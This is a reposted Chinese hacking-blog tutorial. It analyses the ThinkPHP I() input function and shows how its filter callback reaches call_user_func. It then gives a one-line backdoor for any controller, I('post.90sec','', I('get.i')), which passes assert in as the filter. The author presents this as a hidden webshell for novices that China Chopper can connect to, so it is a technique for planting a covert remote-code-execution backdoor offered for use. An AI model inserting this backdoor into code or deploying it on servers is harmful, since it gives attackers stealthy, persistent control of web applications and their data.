原文链接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html
90sec上有人问,我说了还有小白不会用。去年我审计TP的时候留意到的,干脆分析一下代码和操作过程。
thinkphp的I函数,是其处理输入的函数,一般用法为I(‘get.id‘)——从$_GET数组中取出键为id的值,post、cookie类似。
let me see see I函数的代码:
01
function I($name,$default =‘‘,$filter = null,$datas = null)
02
{
03
...
04
05
if (‘‘ ==$name) {
06
// 获取全部变量
07
$data =$input;
08
$filters = isset($filter) ?$filter : C(‘DEFAULT_FILTER‘);
09
if ($filters) {
10
if (is_string($filters)) {
11
$filters =explode(‘,‘,$filters);
12
}
13
foreach ($filters as $filter) {
14
$data = array_map_recursive($filter,$data);// 参数过滤
15
}
16
}
17
}elseif (isset($input[$name])) {
18
// 取值操作
19
$data =$input[$name];
20
$filters = isset($filter) ?$filter : C(‘DEFAULT_FILTER‘);
21
if ($filters) {
22
if (is_string($filters)) {
23
if (0 ===strpos($filters,‘/‘)) {
24
if (1 !== preg_match($filters, (string)$data)) {
25
// 支持正则验证
26
return isset($default) ?$default : null;
27
}
28
}else {
29
$filters =explode(‘,‘,$filters);
30
}
31
}elseif (is_int($filters)) {
32
$filters =array($filters);
33
}
34
35
if (is_array($filters)) {
36
foreach ($filters as $filter) {
37
if (function_exists($filter)) {
38
$data =is_array($data) ? array_map_recursive($filter,$data) :$filter($data);// 参数过滤
39
}else {
40
$data = filter_var($data,is_int($filter) ?$filter : filter_id($filter));
41
if (false ===$data) {
42
return isset($default) ?$default : null;
43
}
44
}
45
}
46
}
47
}
48
...
49
return $data;
50
}
I函数的第三个参数是$filter,作用是对变量的过滤。
新版本(3.2.3)中,$filter可以传入两种4种值:
1.一个过滤函数(字符串)
2.一些过滤函数组成的字符串,其间用“|”分割
3.一些过滤函数的字符串组成的数组
4.以“/”开头的正则表达式
可见代码,若$filter为空的话,其默认值为C(‘DEFAULT_FILTER‘)。我们在配置文件中可以看到,DEFAULT_FILTER=htmlspecialchars
以上4个情况最后归为两个,1是过滤回调函数,2是过滤的正则。正则部分如下:
1
if (0 ===strpos($filters,‘/‘)) {
2
if (1 !== preg_match($filters, (string)$data)) {
3
// 支持正则验证
4
return isset($default) ?$default : null;
5
}
6
}
如果第0个字符是/,则说明传入的是正则,用preg_match进行匹配验证,不匹配则返回默认值$default。
而回调函数部分,是我们留后门的关键。核心是这一段:
01
if (is_array($filters)) {
02
foreach ($filters as $filter) {
03
if (function_exists($filter)) {
04
$data =is_array($data) ? array_map_recursive($filter,$data) :$filter($data);// 参数过滤
05
}else {
06
$data = filter_var($data,is_int($filter) ?$filter : filter_id($filter));
07
if (false ===$data) {
08
return isset($default) ?$default : null;
09
}
10
}
11
}
12
}
如果函数存在,则直接调用array_map_recursive执行。如果函数不存在,则用php默认的过滤器filter_var进行过滤。
我们跟进array_map_recursive函数:
01
function array_map_recursive($filter,$data)
02
{
03
$result =array();
04
foreach ($data as $key =>$val) {
05
$result[$key] =is_array($val)
06
? array_map_recursive($filter,$val)
07
: call_user_func($filter,$val);
08
}
09
return $result;
10
}
明显是一个递归执行的过程,最后调用的是call_user_func 。
还记得我说过的php回调后门么(https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html),ThinkPHP厚道,居然给我们预置了一个回调后门,让我们可以万分隐蔽的留下webshell。
所以,我们只需要随意找个controller,在可访问的方法中插入:
1
I(‘post.90sec‘,‘‘, I(‘get.i‘));
如上,第三个参数就是刚说的$filter,我们只需要把回调后门函数名字(assert)作为第三个参数传入,即可构造一个回调后门。
我就拿thinkphp默认的IndexController下的index方法示例:
如下即可执行任意代码:
一个回调后门,菜刀也可以连接。
原文:http://www.cnblogs.com/hookjoy/p/4973396.html